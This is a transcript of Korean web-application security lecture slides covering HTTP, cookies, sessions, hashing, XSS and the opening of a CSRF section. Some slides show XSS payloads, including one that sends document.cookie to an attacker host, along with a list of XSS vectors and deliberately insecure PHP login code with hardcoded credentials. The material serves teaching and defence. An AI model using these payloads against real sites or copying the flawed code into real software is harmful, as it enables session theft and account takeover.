Web App Security 2015.10

140
보안

Transcript of Web App Security 2015.10

Page 1: Web App Security 2015.10

웹 앱 보안

Page 2: Web App Security 2015.10

목차

웹 앱의 구성 요소 URL HTTP

인증과 세션 관리

Cross-Site Scripting

Cross-Site Request Forgery

SQL Injection

2

Page 3: Web App Security 2015.10

3

Page 4: Web App Security 2015.10

WHAT IS WEB APP?

4

Page 5: Web App Security 2015.10

웹 앱특징 서버와의 커뮤니케이션 HTML로 개발되고 브라우저를 통해 표시 설치 불필요

5

웹 서버

클라이언트

웹 브라우저

웹 앱

Page 6: Web App Security 2015.10

화면 흐름도, http://wikibook.co.kr/webtext/

6

Page 7: Web App Security 2015.10

URL

Universal Resource Locator 인터넷 상의 콘텐츠를 고유하게 지정하기 위한 주소

<proto>://<user:pw>@<host>:<port>/<path>?<qstr>#<frag> http://www.wikibook.co.kr/webtext/mock/login.html Proto: 네트워크 프로토콜 (Scheme 이라고도 함), https, ftp, mailto, file etc. user:pw 사용자 ID와 암호가 필요한 프로토콜도 있음 (옵션, ftp)

Host: 호스트 이름 혹은 IP 주소 Port: 포트 번호 (80 for http) Path: 서버 상의 리소스 이름. 파일 시스템 경로 Qstr: 질의 문자열

GET 요청 시 주로 사용. CGI 인자. &로 나뉜 여러 key=value 쌍 (name1=value1&name2=value2...)

Frag 클라이언트가 사용하는 Fragment ID. 서버에 전달되지 않음. 웹 페이지 상의 위치를 파악하기 위해 사용

7

https://mail.google.com/mail/u/0/?shva=1#inbox https://mail.google.com/mail/u/0/?shva=1#imp https://mail.google.com/mail/u/0/?shva=1#sent

Page 8: Web App Security 2015.10

URL 인코딩 URL에서 특수 문자는 인코딩 되어야 함. @ ? / # & < >

%HH 16진수 표시 POST 요청에서, Body 부분도 인코딩됨

8

http://user:[email protected]:8001/a%20spaced%20path?l=en#section2

http://example.com/ http://[email protected]/ http://example.com:8080/test/path.html http://example.com/search?q=foo&l=en http://example.com/index.html#section2 http://%65xample.%63om/ http://example.com&g=1234@167772161/

문자 인코딩 이유 인코딩 값: 주소 상의 http 프로토콜 , 포트 구분 %3B

/ 주소, 경로 구분 %2F

# Fragment 구분 %23

? 질의 문자열 구분 %3F

& 질의 문자열 쌍 구분 %24

@ 사용자명, 암호 구분 %40

% 인코딩 문자는 %HH로 표시됨 %25

+ 빈 칸 구분 %2B

Page 9: Web App Security 2015.10

HTTP

Simple request/respond protocol GET은 상태 정보 변경이 없는 요청 요청 마다 동일한 결과 (인자에 따라 다를 수 있음)

POST는 상태 정보 변경 요청 (데이터베이스, 상품 주문, 이메일 보내기 등) Message 본문을 가짐

9

웹 서버

OS

앱 브라우저

HTTP TCP IP 이더넷

OS

웹 서버

앱 응용 프레임워크

DB 등

HTTP TCP IP 이더넷

클라이언트

HTTP Request (요청 ) GET, POST, PUT, …

HTTP Response (응답)

Page 10: Web App Security 2015.10

FIDDLER

HTTP 통신 트래픽을 기록하는 웹 디버깅 프록시 윈도우 버전: http://www.telerik.com/fiddler 크롬 앱: https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka

10

Page 11: Web App Security 2015.10

HTTP GET 요청 User-Agent: 현재 사용 중인 웹 브라우저에 대한 정보 모바일에서 접속하면 해당 클라이언트에 맞는 응답.

Accept: 클라이언트가 받을 수 있는 데이터의 종류를 표시 Accept-Language: 클라이언트가 받을 수 있는 언어 종류를 표시 (ko-KR) Host: 요청을 보낸 호스트 이름 및 포트 번호

11

Page 12: Web App Security 2015.10

12

http://www.wikibook.co.kr/webtext/mock/login.html

Page 13: Web App Security 2015.10

HTTP는 한 번에 하나의 리소스를 얻음

13

Page 14: Web App Security 2015.10

14

Page 15: Web App Security 2015.10

HTTP Response 응답 상태 코드 및 메시지 메시지 헤더 메시지 본문: 요청된 HTML 파일의 내용

이미지 요청이 와도 데이터가 본문에 그대로 포함됨

15

Page 16: Web App Security 2015.10

16

Page 17: Web App Security 2015.10

17

상태코드 의미 설명

1xx 정보 요청 처리가 계속되고 있음을 의미

2xx 성공 요청이 성공했음을 의미

3xx 리다이렉션 요청을 종료하려면 추가 작업이 필요함

4xx 클라이언트 에러클라이언트에 기인한 오류로 요청 실패

5xx 서버 에러 서버에 기인한 오류로 요청 실패

상태코드 의미 설명

200 OK 요청이 정상적으로 완료됨

302 Found 요청된 리소스가 일시적으로 다른 URI에 속해 있음

401 Unauthorized 사용자 인증에 실패 했음

403 Forbidden 접속 권한이 없어 서버가 요청 실행을 거부함

404 Not Found 요청된 URI와 일치하는 리소스가 없음. URL이 잘못 입력

500 Internal Server Error 서버 내부 프로그램 실행 과정에서 에러가 발생함

Page 18: Web App Security 2015.10

HTTP POST Request POST 데이터가 메시지 본문으로 추가됨

GET 요청 시 쿼리 문자열이 URL로 전달됨 POST에서는 메시지 본문에 인자가 &로 구분되어 전달됨 URL 보다는 인자가 노출될 확률이 적음 (로그로 남지 않음), 길이 제한이 없음 (보통 2K)

18

Page 19: Web App Security 2015.10

19

Page 20: Web App Security 2015.10

무상태 프로토콜 (STATELESS)

서버는 상태를 관리하지 않으며, 요청은 이전 요청과 독립적 이전에 인증을 했더라도, 다음 요청에 이를 기억하지 못함

상태 유지 프로토콜 서버가 요청에 대한 상태를 유지하며, 현재 상태에 따라 동일 요청이라도 결과가 달라짐 FTP, SMTP, TCP 예를 들어, FTP 명령 “get rest.txt”은 로그인한 클라이언트의 현재 디렉터리에서 rest.txt 파일을 찾아 전송한다. 현재 디렉터리가 어딘 지에 따라 파일이 달라짐

무상태 프로토콜 각 요청은 별개이고, 독립적인 요청과 응답으로 통신 HTTP, IP 앞의 예라면, 항상 Full Path를 요청해야 함

20

Page 21: Web App Security 2015.10

FTP 예

21

% ftp cs.colorado.edu Connected to cs.colorado.edu. 220 bruno FTP server (SunOS 4.1) ready. Name (cs.colorado.edu:yourlogin): anonymous 331 Guest login ok, send ident as password. Password: 230-This server is courtesy of Sun Microsystems, Inc. 230- … 230 Guest login ok, access restrictions apply. ftp> cd /pub/HPSC 250 CWD command successful. ftp> ls 200 PORT command successful. 150 ASCII data connection for /bin/ls (128.138.242.10,3133) (0 bytes). ElementsofAVS.ps.Z . . . viShortRef.ps.Z 226 ASCII Transfer complete. 418 bytes received in 0.043 seconds (9.5 Kbytes/s) ftp> get README 200 PORT command successful. 150 ASCII data connection for README (128.138.242.10,3134) (2881 bytes). 226 ASCII Transfer complete. local: README remote: README 2939 bytes received in 0.066 seconds (43 Kbytes/s) ftp> bye 221 Goodbye.

stateful commands

Page 22: Web App Security 2015.10

HTTP에서의 상태 관리 방법 클라이언트에서 인증 판단해서 로그인 상태 전달?

http://www.wikibook.co.kr/webtext/pentomino_1/item_list.php?login=ok 클라이언트가 보내는 데이터는 무조건 믿을 수는 없음 (변조 가능) 특히, URL에 상태 정보를 입력하는 것은 보안적으로 취약

Hidden Fields, Cookie로 브라우저의 세션 정보 전달 혹은 세션 ID 발급하고 세션 정보를 서버에서 관리

22

웹 서버브라우저

인증되면 쿠키를 보냄 Set-Cookie쿠키를 저장하고

동일 서버 요청 시 쿠키 사용 다른 서버로는 쿠키 보내지 못함

Page 23: Web App Security 2015.10

23

쿠키로 상태 저장 http://www.wikibook.co.kr/webtext/pentomino_2/login.html 로그인 성공 후에 item_list.php를 가져오는 과정에서 Cookie 정보 사용

Page 24: Web App Security 2015.10

HTTPS, HTTP OVER SSL (SECURE SOCKETS LAYER)

TCP/IP 상의 통신을 암호화 도청해도 내용을 알 수 없게 함 공개키 암호화 - 공개 키로 통신 내용을 암호화함 브라우저가 웹 서버에 서버 인증서를 요구 웹 서버는 공개 키를 포함한 서버 인증서를 보냄 브라우저는 실제 통신에 사용할 공통 키를 생성하고 이것을 공개 키로 암호화해서 송신함 웹 서버는 공통 키를 자신의 개인키로 복호화해 꺼냄 브라우저와 서버 간에 공통 키를 같이 가지게 되고, 이를 통해 HTTP 통신을 암호화함

https://www.facebook.com (포트 443를 사용) 암호화 대상: URL of requested document, HTTP headers, HTTP bodies, including response documents

24

TCP/IP

HTTP

SSLSSL은 HTTP의 하위 층 역할을 하며, 송수신자 간 메시지를 암호화/복호화

Page 25: Web App Security 2015.10

인증과 세션 관리

25

Page 26: Web App Security 2015.10

로그인 과정 Authentication: 본인임을 확인하는 과정 Authorization: 권한을 부여 (권한에 따라 할 수 있는 일을 정의)

인증

26

http://www.wikibook.co.kr/webtext/pentomino_1/login.html

FORM의 Post Action으로 do_login.php 요청

Page 27: Web App Security 2015.10

27

POST 요청 (w. ID & Password)

Page 28: Web App Security 2015.10

28

<?php // 폼에 입력된 내용을 가져온다 $user = $_POST['user']; $pass = $_POST['pass']; // 아이디와 패스워드를 확인한다 if(strcmp($user,'honggd') == 0 && strcmp($pass, 'webtext') == 0) { // 아이디와 패스워드가 정확할 경우 header('Location: item_list.php'); } else { // 아이디와 패스워드가 틀렸을 경우 header('Location: login_failed.html'); } ?>

do_login.php

header(‘Location: item_list.php’); - PHP에서 HTTP 응답의 헤더로 출력하는 함수 - 브라우저는 헤더 상의 파일에 대해 다시 GET 요청을 함 (리다이렉트)

Page 29: Web App Security 2015.10

PHP 서버 상에서 실행되어 웹 페이지를 동적으로 생성

HTML 문서 내에 PHP 스크립트를 실행하여 웹 페이지를 생성 LAMP (Linux, Apache Web Server, MySQL, PHP)

MEAN (MongoDB, ExpressJS, AngularJS, NodeJS): Javascript Fullstack for your next web application

29

<html> <body>

<form action="welcome.php" method="post"> Name: <input type="text" name="name"><br> E-mail: <input type="text" name="email"><br> <input type="submit">

</form> </body>

</html>

<html> <body>

Welcome <?php echo $_POST["name"]; ?> <br> Your email address is: <?php echo $_POST["email"]; ?>

</body> </html>

웹 서버 (Apache 서버, Nginx)브라우저

PHP (인터프리터)

데이터베이스 (MySQL)

Page 30: Web App Security 2015.10

30

응답 코드 302 - 리다이렉트 - 302 Found: 브라우저는 302 상태 코드를 받으면, Location 헤더에 있는 URL을 다시 요청 - 요청한 URL과 다른 URL로 유도하는 것을 Redirect라고 함

Page 31: Web App Security 2015.10

HIDDEN FIELDS

HTTP는 무상태 프로토콜이므로 매 요청 시 인증 정보 전달 필요

화면에 보이지 않는 필드로 상태 값 전달 (ID & Password) 웹 페이지에 “type=hidden” 으로 화면에 보이지 않는 필드를 넣을 수 있음

<input name=“id” value=“1234” type=“hidden”> type = “hidden”을 제거하면 화면 상에 값을 보고, 수정할 수 있음

DOM 객체를 활용 JavaScript를 통해, DOM 트리로부터 type=“hidden” 필드를 찾을 수 있다

31

<html> <head>

<title>My Page</title> </head> <body>

<form name="myform" action=“http://www.mydomain.com/myformhandler.cgi" method="POST"> <div align="center">

<input type="text" size="25" value="Enter your name here!"> <input type="hidden" name="Language" value="English"> <br><br>

</div> </form>

</body> </html>

Page 32: Web App Security 2015.10

URL PARAMETER

URL을 통한 인자 전달 웹 페이지의 데이터를 전달 숨긴 필드는 사용자가 Form의 확인 버튼을 눌러야 서버로 전달 (POST) URL은 모든 태그에 하이퍼링크 형태로 붙을 수 있어 용이. URL에 인자를 포함시킴

Query String (CGI 인자) URL에 ? 문자 뒤에 이름=값 형식으로 전달. 각 인자는 &로 구분됨

32

https://www.google.co.kr/search?q=CGI+%EC%B7%A8%EC%95%BD%EC%A0%90&oq=CGI+%EC%B7%A8%EC%95%BD%EC%A0%90&aqs=chrome..69i57j0l4.538j0j7&sourceid=chrome&es_sm=119&ie=UTF-8

구글 검색 ‘CGI 취약점’

Page 33: Web App Security 2015.10

URL Rewritings 인자를 파악하여 악의적 요청이 가능 인자를 통해 불필요한 정보가 노출되지 않도록 해야 함 데이터베이스, Account 등 http://foo.example.com?item=1234 item에 임의 값을 대입하여 정보를 얻을 수 있음

개발 시 CGI 인자를 통해 디버깅했다면, 이를 제거해야 함 (debug=true) 보통 디버깅은 데이터베이스 상태, 세션 상태 등의 세부 정보를 얻기 위해 사용

33

Page 34: Web App Security 2015.10

COOKIES

쿠키의 생성과 사용 사용 시, 요청의 헤더에 Cookie 정보가 추가됨. name=value 쌍으로 상태 표현 Set-Cookie 헤더는 서버에서 보내오며, 로컬 하드 디스크에 해당 정보가 저장됨.

Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb-2015 23:59:00 GMT 쿠키는 Set-Cookie한 서버로만 보냄 (e.g. foo.example.com)

Domain 속성 example.com이면, example.com 상의 모든 호스트로 전송 가능 브라우저는 Cookie 헤더를 보냄

Cookie: foo=bar Base64로 쿠키는 인코딩됨

metacharacter 해석 방지 (colons, commas, slashes, quotes, etc.)

34

Page 35: Web App Security 2015.10

쿠키 사용

35

<form action="do_login.php" method="post" class="login"> <table class="login" align="center"> <tr> <td>아이디</td> <td><input type="text" name="user"></td> </tr> <tr> <td>패스워드</td> <td><input type="password" name="pass"></td> </tr> </table> <input type="submit" value="로그인"> </form>

웹 서버브라우저

POST w. ID & Password

RESPONSE w. set-cookies & item_list.php (302)

GET item_list.php

RESPONSE after login check

Page 36: Web App Security 2015.10

36

<?php $user = $_POST[‘user']; // 폼에 입력된 내용 $pass = $_POST['pass'];

// 아이디와 패스워드를 확인한다 if (strcmp($user,'honggd') == 0 &&

strcmp($pass, 'webtext') == 0) { setcookie("user", $user); setcookie("pass", $pass); header('Location: item_list.php'); } else { // 아이디와 패스워드가 틀렸을 경우 header('Location: login_failed.html'); } ?>

do_login.php - id, password로 POST 했을 때 실행되는 서버 스크립트 - item_list.php 혹은 login_failed.html 로 REDIRECT

웹 서버브라우저

POST w. ID & Password

RESPONSE w. set-cookies & item_list.php (302)

GET item_list.php

RESPONSE after login check

Page 37: Web App Security 2015.10

37

Login 성공에 대한 응답

웹 서버 A브라우저

POST w. ID & Password

RESPONSE w. set-cookies & item_list.php (302)

GET item_list.php

RESPONSE after login check

Page 38: Web App Security 2015.10

38

<?php header('Cache-Control: no-cache’); // 캐시를 무효화한다 $user = $_COOKIE[‘user']; // 쿠키의 내용을 가져온다 $pass = $_COOKIE['pass']; if(strcmp($user, 'honggd') != 0 || strcmp($pass, 'webtext') != 0) { setcookie("user", "", time() - 3600); setcookie("pass", "", time() - 3600); header('Location: login_failed.html'); exit(); } ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="ko"> <head> …

웹 서버브라우저

POST w. ID & Password

RESPONSE w. set-cookies & item_list.php (302)

GET item_list.php

RESPONSE after login check

Page 39: Web App Security 2015.10

로그 아웃 시

39

<form action="do_logout.php"> <input type="submit" value="로그아웃" /> </form>

<?php // 쿠키를 제거하고 로그인 화면으로 돌아간다 setcookie("user", "", time() - 3600); setcookie("pass", "", time() - 3600); header('Location: login.html'); ?>

웹 서버브라우저

Logout

Response w. login.html

GET login.html

Page 40: Web App Security 2015.10

쿠키 조작 공격

쿠키의 저장 위치/형식은 알려져 있음 Mac, Chrome Cookie

~/Library/Application Support/Google/Chrome/Default/Cookies SQLite Database를 사용하여 저장 (sqlite3) 쿠키에서 날짜와 시간 정보를 수정 예. 서비스 기간을 쿠키로 관리하는 경우. 쿠키 만료 기간을 수정 쿠키 암호화. 기본적으로 쿠키 정보를 의존해서는 않됨. Validation이 필요

40

Page 41: Web App Security 2015.10

SESSION

세션 정보를 서버에 보관. Session ID 사용 쿠키 보안 문제점 개선: 텍스트로 저장되고 (암호화 하지만), 디렉터리가 알려짐 상태 정보를 쿠키로 로컬에 저장하는 대신, 상태 정보를 서버에 저장/관리하며, SessionID로 클라이언트와 통신. Sesssion ID는 쿠키로 전달될 수 있음 쿠키 크기 제약을 받지 않고 안전성을 높임

41

웹 서버브라우저

세션 정보

세션 ID

세션 ID 세션정보

000000000 hoggd, webtext

000000001 …

웹 서버

브라우저

세션 정보 (hoggd, webtext)

세션 정보

URL Hidden Fields Cookies

Page 42: Web App Security 2015.10

42

<?php // 폼에 입력된 내용을 취득한다 $user = $_POST['user']; $pass = $_POST['pass']; // 패스워드를 확인한다 if(strcmp($pass, 'webtext') == 0) { // 세션 개시 session_start(); // 세션 변수에 아이디를 저장한다 $_SESSION['user'] = $user; header('Location: item_list.php'); } else { // 패스워드가 틀렸을 경우 header('Location: login_failed.html'); } ?>

do_login.php (세션 생성 및 세션 정보 저장)

session_start( ) 함수는 랜덤 세션 ID를 생성. 쿠키로 저장 $_SESSION을 통해, 세션 ID에 대응하는 세션 정보를 저장

<?php session_start(); $_SESSION['favcolor'] = 'green'; $_SESSION['animal'] = 'cat'; $_SESSION['time'] = time(); … ?>

<?php // 세션을 개시 session_start(); $user = $_SESSION['user']; if(strcmp($user, '') == 0) { header('Location: login_failed.html'); exit(); }

item_list.php (세션 정보 사용)

<?php //세션을 파기하고 로그인 화면으로 돌아온다 session_start(); session_destroy(); header('Location: login.html'); ?>

logout.php (세션 쿠키 파기)

Page 43: Web App Security 2015.10

SESSION HIJACKING 공격

세션 ID를 가로채기 세션 ID 값을 임의의 값으로 대입해보거나, 해당 웹 사이트가 사용하는 고유한 세션 ID 부여 방식을 파악 세션 ID를 고정 시킴 (Fixation) 사용자 중요 정보 유출, 사용자 권한으로 조작 (물건 구입), 사용자 ID로 글 올리기 등

43

3

4

공격자 컴퓨터

피해자 컴퓨터

공격 대상 컴퓨터

웹 앱

세션 ID로 접속 352197정보 유출

세션 ID 발급 352197

1

2

5

로그인

세션 ID 알아냄 352197

세션 ID만으로 공격자와 피해자 구분 안됨

통신 경로 암호화 세션 타임 아웃 값 설정 세션 ID 발급 랜덤화

< Sessiong Hijacking >

Page 44: Web App Security 2015.10

44

공격자 컴퓨터

피해자 컴퓨터

공격 대상 컴퓨터

웹 앱

로그인sessionid=1234

GET/account.jsp?sessionid=1234http://online.worldbank.com/ login.jsp?sessionid=1234

GET/account.jsp?sessionid=1234

Username, Password

1

2

3

4

5

6

< Session Fixation >

Page 45: Web App Security 2015.10

방어 기본적으로 고유한 ID를 생성해야 하고, 세션 ID 번호는 예측 불가능해야 함 만료 기간 설정하여, 세션 ID가 재사용되지 않도록

URL, 숨긴 필드 보다는 쿠키로 저장 Cookie의 secure 값을 true로하여 암호화 로그아웃 시 세션을 제거 HTTP Referer 필드 사용하여 동일 세션 ID 사용 여부 확인 세션 ID에 대한 쿠키는 보안 채널을 통해 전달 이러한 조치에도 불구하고 XSS를 통해 세션 ID를 훔칠 수 있다

45

Page 46: Web App Security 2015.10

HASH 함수

세션ID 생성 및 패스워드 저장을 위해 사용 SHA-1 (Secure Hash Algorithm)을 이용한 메시지 Digest 생성 단방향성 (Hashing은 하지만, 역 해시가 어렵다) 정보 조작 발견: 파일과 Digest를 같이 보냄. 파일 Digest 재생성 후 보내온 Digest와 비교 MD5, SHA-1, SHA-2, SHA-3, SHA-256 … 압축 함수를 사용하여 입력 값의 길이/내용에 무관하게 동일한 크기의 출력 값 생성 추측 불가능한 문자열 생성을 통한 세션 ID 보호 일회용 토큰 생성 (세션 ID 등). PHP의 Default Session ID 생성은 IP, Time, 랜덤값 기반

46

메시지 SHA-1 메시지 Digest (160 비트)

SHA1("The quick brown fox jumps over the lazy dog") = 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12

SHA1("The quick brown fox jumps over the lazy dog.") = 408d94384216f890ff7a0c3528e8bed1e0b01621

SHA-256은 256비트 MD5는 128 비트

Page 47: Web App Security 2015.10

패스워드 저장 데이터베이스에 패스워드를 저장하지 않고, 해시값을 저장 SQL Injection 등으로 패스워드 정보가 외부에 노출되었을 때도 보안성 가짐 로그인은 패스워드로부터 해시 값 얻어서 비교

Rainbow Crack 암호로 사용할 수 있는 문자 조합은 유한하므로, 대표적 문자 조합에 대한 Hash값을 미리 생성하여 대조. 8에서 10문자까지 대응. Salt 라는 추가 문자열을 암호에 포함시켜 해독을 방지

47

hello Salt hello3sb9Hash

(SHA-xxx) 39e19b234 ….

<script> var iterations = 4096; var salt = “web.site”; var cipher = sjcl.misc.pbkdf2(password, salt, iterations); var hex = sjcl.codec.hex.fromBits(cipher) </script>

Stanford Javascript Crypto Library를 사용한 브라우저에서의 암호 해시 예

Page 48: Web App Security 2015.10

인증 및 세션 관리 문제 (정리)

인증 과정 강화 및 인증 후 세션 관리 필요 인증 로직 및 세션 관리를 자체 개발하는 경우 취약점 포함 가능성 높음

로그아웃 처리, 패스워드의 저장 및 관리, 세션 타임 아웃, 기존 로그인 정보 저장 (Remember me, 쿠키 기반 자동 로그인), 비밀 번호 연상 질문, 계정 업데이트 등 완벽한 검증이 어려움

Hijacking 취약점 체크 사용자 인증서 및 세션 ID가 잘 보호되고 있는가? Hashing & Encryption 되고 있나? 인증서는 추측되거나 변조될 수 있다 (약한 계정 관리 기능 - 계정 생성, 암호 변경, 암호 복구, 약한 세션 ID) 세션 ID가 URL에 노출되는가? 세션 ID는 세션 고정 공격에 취약하다 세션 ID가 Time Out 되는가? 로그아웃 시 해당 ID가 즉시 무효화되는가? 세션 ID가 재사용되지는 않는가? 암호, 세션 ID 및 다른 인증정보가 암호화되지 않은 채로 전달되지는 않는가?

48

Page 49: Web App Security 2015.10

공격 시나리오

Scenario #1: 항공 예약 앱이 URL rewriting을 사용. 세션 ID를 URL에 포함시켜 전달 인증된 사용자가 친구에게 예약 정보를 공유하기 위해 세션 정보를 포함한 URL을 메일로 전달 친구는 이 링크를 사용하여 세션 및 신용카드 정보를 얻을 수 있음 http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

Scenario #2: 웹 앱의 타임아웃 정보가 제대로 입력되지 않음. 사용자는 외부 컴퓨터를 통해 사이트에 접속. 로그아웃 버튼을 누르지 않고 브라우저만 종료시킴. 공격자는 한 시간 뒤에 이 컴퓨터에서 브라우저를 열었고, 브라우저는 아직 인증된 상태.

Scenario #3: 내부/외부 공격자가 시스템의 암호 데이터베이스에 액세스함. 사용자 암호가 Hash되어 있지 않아 암호가 모두 노출됨

49

Page 50: Web App Security 2015.10

CROSS-SITE SCRIPTING (XSS)

50

Page 51: Web App Security 2015.10

CROSS-SITE ATTACKS

SOP, Same Origin Policy JavaScript 실행 시 원 소스 호스트에만 네트워크 액세스가 가능하도록 하는 보안 제약 브라우저 상의 JavaScript는 보내온 원 소스 호스트 외에 다른 사이트로 요청이 불가

Cross-site 공격 SOP를 우회할 수 있도록, 웹 앱 취약점 공격 Clickjacking, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)

51

공격자 컴퓨터 trap.example.com

피해자 컴퓨터

공격 대상 컴퓨터 foo.example1.com

1

2

웹 앱JavaScript로 다른 사이트의 정보에 Access

로그인 상태의 비밀 정보

3동일 호스트라면 iframe 안에 표시될 URL의 HTML 내용을 JavaScript 코드로 참조 가능

Page 52: Web App Security 2015.10

CROSS-SITE SCRIPTING (XSS)

XSS 취약한 웹 사이트는 웹 페이지에 입력한 데이터를 그대로 출력 (게시판, SNS 등) 공격 목적의 악의적 웹 실행 컨텐츠를 입력하고, 피해자가 해당 페이지를 로딩할 때 실행됨 동일 호스트이므로, SOP 정책으로 보호받지 못함 URL에 포함된 스크립트 코드 혹은 폼 필드에 입력된 스크립트 코드 실행 스크립트는 샌드박스 내에서 동작하므로 로컬 컴퓨터에 악영향 주지 않음 하지만, 현재 웹 페이지에 포함된 모든 정보에 접근 가능 쿠키를 훔칠 수 있고, 현재 사용자인양 위장할 수 있음 (세션 정보 사용 웹페이지를 조작하여 로그인 창을 실행 시켜 개인정보를 입력하도록 유도할 수 있음 로그인 페이지 조작. 신용 정보 입력 페이지 조작.

52

XSS 취약 웹 서버피해자공격자

1: 로그인

2: 쿠키

3: XSS 공격

4: XSS 링크를 클릭

5: XSS URL

6: 코드가 포함된 페이지

7: 코드 실행 (정보 유출)

https://example.com/error.php?message=<script>alert(document.cookie)</script>

Page 53: Web App Security 2015.10

XSS Example 웹 응용은 브라우저에 에러 페이지를 보냄

https://example.com/error.php?message=Sorry%2C+an +error+occurred 에러 메지지가 서버로부터 다시 “reflected”되는 것을 확인하고 메시지에 스크립트 코드 삽입 https://example.com/error.php?message=<script>alert(document.cookie)</script>

53

Page 54: Web App Security 2015.10

Stored & Refelcted XSS Reflected

URL의 CGI 인자에 스크립트 코드를 삽입 이메일로 웹 페이지 링크를 보내고, 클릭할 때, 스크립트 코드가 실행 사용자 클릭 시에만 동작. 가장 일반적 형태 ( 약 75%)

Stored 사이트(게시판)의 다른 사용자가 볼 수 있는 데이터 입력 부분에서 스크립트 코드를 입력 메시지, 책 리뷰, 방명록, 블로그, SNS 등

54

웹 서버피해자공격자

1: 로그인

2: 쿠키

3: 게시판의 글 읽기

4: GET XSS 댓글

5: 코드가 포함된 페이지6: 코드 실행 (정보 유출)

0: XSS 공격 (스크립트 포함한 게시판 댓글 입력)

Page 55: Web App Security 2015.10

XSS vs. Phishing 피싱은 기존 사이트를 위조하여, 사용자를 기만. 위조 사이트와 기존 사이트의 URL이 다름 반면, XSS는 정상 사이트에 공격 코드를 포함시킴 개발자와 테스터 책임. 취약점 공격

Impact of XSS Account hijacking, Browser hijacking (malware hosting.), Information leakage (stored form values, etc.), Virtual defacement.

55

Page 56: Web App Security 2015.10

공격과 방어

공격 시나리오 앱이 다음 HTML 코드의 신뢰되지 않은 데이터를 검증/Escaping 없이 사용

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; 공격자는 브라우저 상의 CC 인자 (Credit Card)를 변경:

‘><script> document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo=‘+document.cookie </script>'. 공격대상의 세션 ID가 공격자의 웹사이트로 전송되도록 하고, 공격자가 사용자의 현재 세션 정보를 hijack하게 함 공격자는 XSS를 사용하여 응용이 사용하는 자동화된 CSRF 방어 방법을 무력화 가능

56

Page 57: Web App Security 2015.10

방어 데이터가 코드로 잘못 해석되어 실행. 사용자 입력 데이터에 코드가 포함되지 않도록 함 막아야할 데이터 변형이 많음

허용되어선 안되는 데이터를 필터링하는 방법보다 허용 가능한 데이터만 필터링하는 방법을 채용 (블랙리스트 보다 화이트리스트)

Sanitizing - 데이터가 코드화 되는 것을 방지. 스크립트의 특수 문자를 문자로 변경 HTML 출력에서 모든 각 괄호를 인코딩 (&lt;, &gt;) &lt;script&gt;alert(&apos;XSS&apos;)&lt;/script&gt; 게시판에서 사용가능한 각 괄호를 제한. 혹은 BBCode (<i> ... </i> 대신 [i] ... [\i]) Auto-sanitization libraries

57

<script>alert(“XSS”)</script> <img src=“javascript:alert(‘XSS’)”> <body onload=“javascript:alert(‘XSS’)”> <link rel=“stylesheet” href=“javascript:alert(‘XSS’)”> <object type=text/html data=“http://evilhacker.com/xss.html”></object> %3cscript%3ealert(“XSS”)%3c%2Fscript%3e ‘);alert(“XSS”);//

Page 58: Web App Security 2015.10

XSS (정리)

취약점 체크 사용자 입력 검증이 충분한가? 입력으로 들어온 텍스트가 출력페이지에 사용되기 전에 입력 검사 모든 사용자 입력이 적절히 escape되고 있다고 확신이 안들면 취약점이 있을 수 있음 출력 escaping 혹은 validation 없으면, 입력은 브라우저에서 active content로 사용가능

Ajax가 동적 페이지 업데이트를 위해 사용된다면, JavaScript API 안정성 체크 안전하지 않은 JavaScript API에 대해서는 인코딩과 Validation이 적용되어야 한다

몇몇 XSS 문제는 자동화된 도구로 찾기 가능 탐지 완전 자동화가 어려운 이유는 각 응용이 출력 페이지를 만들어내는 방법이 다르고, 브라우저의 interpreter가 서로 다르기 때문

JavaScript, ActiveX, Flash, Silverlight 자동 검사 외에 코드 리뷰와 침입 테스팅 (Penetration Testing)이 동시에 이루어져야 함

58

Page 59: Web App Security 2015.10

Content Security Policy (CSP, 콘텐츠 보안 정책) XSS 공격을 막기 위한 브라우저의 추가 보호 장치 크롬 Extension 개발 시 콘텐츠 보안 정책

https://developer.chrome.com/extensions/contentSecurityPolicy 디폴트 정책으로, Eval 및 관련 함수는 Disabled 인라인 JavaScript 코드는 실행되지 않는다. 인라인 <script> 뿐 아니라 인라인 이벤트 핸들러도 포함 (e.g. <button onclick=“...">). => 콘텐츠와 코드의 분리 로컬 경로의 스크립트만 로드

59

Page 60: Web App Security 2015.10

60

<!doctype html> <html> <head> <title>My Awesome Popup!</title> <script> function awesome() { // do something awesome! } function totallyAwesome() { // do something TOTALLY awesome! } function clickHandler(element) { setTimeout("awesome(); totallyAwesome()", 1000); } function main() { // Initialization work goes here. } </script> </head> <body onload="main();"> <button onclick="clickHandler(this)"> Click for awesomeness! </button> </body> </html>

<!doctype html><html><head> <title>My Awesome Popup!</title> <script src="popup.js"></script></head><body><button>Click for awesomeness!</button> </body></html>

function awesome() { } // Do something awesome! function totallyAwesome() { } // do somethingfunction awesomeTask() { awesome(); totallyAwesome();}function clickHandler(e) { setTimeout(awesomeTask, 1000);}function main() { } // Initialization work goes here.

document.addEventListener('DOMContentLoaded', function () { document.querySelector('button') .addEventListener('click', clickHandler); main();});

popup.js

Page 61: Web App Security 2015.10

61

<!doctype html> <html> <head> <title>My Awesome Popup!</title> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> </head> <body> <button>Click for awesomeness!</button> </body> </html>

<!doctype html> <html> <head> <title>My Awesome Popup!</title> <script src="jquery.min.js"></script> </head> <body> <button>Click for awesomeness!</button> </body> </html>

Page 62: Web App Security 2015.10

CROSS-SITE REQUEST FORGERY

62

Page 63: Web App Security 2015.10

CROSS-SITE REQUEST FORGERY

사이트 간 요청 위조 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격 일단 사용자가 웹사이트에 로그인한 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 열면, 공격 대상이 되는 웹사이트는 위조된 공격 명령이 믿을 수 있는 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출된다.

